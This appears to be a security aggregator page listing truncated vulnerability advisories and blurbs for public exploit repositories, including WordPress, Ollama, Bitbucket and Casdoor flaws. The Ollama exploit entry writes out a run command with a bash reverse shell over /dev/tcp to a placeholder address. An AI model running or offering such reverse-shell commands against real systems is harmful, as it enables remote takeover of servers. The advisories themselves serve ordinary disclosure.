CVE-2026-104892 Plane: Plaintext logging of API token

Plane is an open-source project management tool. Prior to 1.4.0, aPITokenLogMiddleware logs API keys in plaintext. This allows someone with low privileges to steal user API keys and further escalate their privileges. This issue is fixed in 1.4.0...

CVE-2026-88394

WookTeam v1.6.6 and before is vulnerable to a Directory Traversal. The project task export endpoint /api/project/task/export downloads an arbitrary file from the server when the data parameter is supplied with a crafted JSON payload. The file value inside the JSON is concatenated directly into...

USN-8870-1: OpenStack Aodh and Watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

USN-8870-1 aodh, watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

wp2shell-poc

wp2shell 💙 Support the Project If you appreciate my work, consider supporting the project via USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN WordPress Core Pre-Authentication RCE Chain wp2shell is a security research Proof-of-Concept demonstrating a pre-authentication vulnerability chain in...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Need to run under Linux, the environment needs to have gcc Install golang, execute the following command to rebound the shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1"...

CVE-2022-36804

CVE-2022-36804 Atlassian Bitbucket Server and Data Center - Command Injection Vulnerability CVE-2022-36804 In affected versions of Atlassian Bitbucket Server and Data Center a Command Injection Vulnerability exists in multiple API endpoints where an attacker with access to a public repository or...

Exploit for CVE-2026-105314

Papermerge-core: Authenticated Path Traversal to Arbitrary Fil...

wp2shell

CVE-2026-63030 + CVE-2026-60137 – „wp2shell“: Unauthenticatede RCE im WordPress-Core Batch-Routen-Verwirrung der REST-API CVE-2026-63030 verknüpft mit einer WPQuery-authornotin-SQL-Injection CVE-2026-60137 → Pre-Auth Remote Code Execution gegen eine Standard-WordPress-Installation. Entdeckt von...

Exploit for CVE-2026-105134

CVE-2026-105134-style OS Command Injection Lab A minimal, sel...

CVE-2026-105307

A vulnerability was detected in Casdoor up to 3.161.1. Affected is the function ApiFilter of the file routers/authzfilter.go of the component API Endpoint. Performing a manipulation results in missing authentication. The attack can be initiated remotely. The exploit is now public and may be used...

Improper Privilege Management

Apache Syncope is vulnerable to Improper Privilege Management. The vulnerability is due to insufficient authorization checks in certain user workflow configurations, which allows an authenticated user to grant themselves defined Roles through a REST API and gain their associated entitlements,...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: Net: tun: Unlinking the NAPI from the device upon destruction. Syzbot identified a race condition between the tun file and the device destruction process. NAPIs reside in the structtunfile structure, and this structure may be...

Astra Linux – Vulnerability in Firefox

The Performance API did not properly hide the fact that whether a request to a cross-origin resource has observed redirects. This vulnerability affects Firefox versions less than 100...

Astra Linux – Vulnerability in Chromium

Insufficient policy enforcement in the File System API of Google Chrome on Windows prior to version 88.0.4324.96 allowed a remote attacker to bypass filesystem restrictions through a crafted HTML page...

Astra Linux – Vulnerability in Chromium

Before version 90.0.4430.72, using the "after free" mechanism in the Network API of Google Chrome allowed a remote attacker to potentially exploit heap corruption through a crafted Chrome Extension...

Astra Linux – Vulnerability in Linux, Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: netrom: Decreases the sock refcount when the sock timer expires. The commit 63346650c1a9 “netrom: switch to the sock timer API” switched to using the sock timer API. This replaced modtimer with skresettimer, and deltimer with...

Astra Linux – Vulnerability in Chromium

Using the "after free" mechanism in the File API in Google Chrome before version 90.0.4430.212 allowed a remote attacker to potentially exploit heap corruption through a crafted HTML page...

Astra Linux – Vulnerability in openjdk-11

Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, and Oracle GraalVM Enterprise Edition products of Oracle Java SE component: Security. The supported versions affected by this vulnerability are Oracle Java SE: 8u391, 8u391-perf, 11.0.21, 17.0.9, 21.0.1; Oracle GraalVM for JDK: 17.0.9,...

Astra Linux – Vulnerability in Chromium

Insufficient validation of untrusted input in the Storage Access API in Google Chrome prior to 149.0.7827.53 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. Chromium security severity: Low...